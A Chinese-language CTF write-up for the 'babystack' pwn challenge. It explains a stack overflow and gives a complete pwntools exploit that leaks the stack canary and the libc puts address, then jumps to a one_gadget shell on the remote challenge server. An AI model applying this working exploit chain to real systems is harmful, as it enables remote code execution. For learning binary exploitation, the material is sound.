0x01
先看保护:
除了PIE全开了。
打开ida分析明显的栈溢出漏洞,然后再看一下题目逻辑1是输入2是输出3是退出
因为有canary保护所以要想办法泄露canary,回头看那个栈溢出漏洞,发现可以利用先发送0x88个a过去
后面会自动给你爆出canary,有了canary之后,就简单了,所以思路就是:先利用栈溢出漏洞获取canary,再利用拼接的方法将前面的填充补全之后就是rop了。这里参考了一下别人的wp,用的one_gadget.
exp:
from pwn import *
#p = process("./babystack")
p = remote("111.198.29.45",43743)
context.log_level = "debug"
libc = ELF("./libc-2.23.so")
elf = ELF("./babystack")
one_gadget = 0x45216
put_plt = elf.plt['puts']
put_got = elf.got['puts']
pop_ret = 0x0400a93
main_addr=0x0400908
p.recvuntil(">> ")
p.sendline("1")
pay = "a"*0x87 + "b"
p.sendline(pay)
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("ab\n")
a = p.recv(7)
cookie = u64(a.rjust(8,"\x00"))
#p.interactive()
p.recvuntil(">> ")
print hex(cookie)
pay2 = "a"*0x88 + p64(cookie) + "a"*8 + p64(pop_ret) + p64(put_got) + p64(put_plt) + p64(main_addr)
p.sendline("1")
p.sendline(pay2)
sleep(0.5)
p.sendline("3")
p.recvuntil("\x3e\x20")
a = p.recv(6)
put_addr = u64(a.ljust(8,"\x00"))
print hex(put_addr)
offset = put_addr - libc.symbols['puts']
one_addr = one_gadget + offset
p.recvuntil(">> ")
p.sendline("1")
pay3 = "a"*0x88 + p64(cookie) + "a"*8 + p64(one_addr)
p.sendline(pay3)
p.interactive()
中间有些调试过程是学长教的,确实学习了一波。
这里一开始是没有p.recvuntil(“ab\n”)的,这样的话接收的是你发送的pay中的前7个a,后面7个才是应该接受的canary,由于0a这个空格将canary的最后一位\x00覆盖了,所以需要再补上才是真正的canary。
还有
这里和上面是一个问题都是接收时地址不对。在\x3e\x20后面才是puts的地址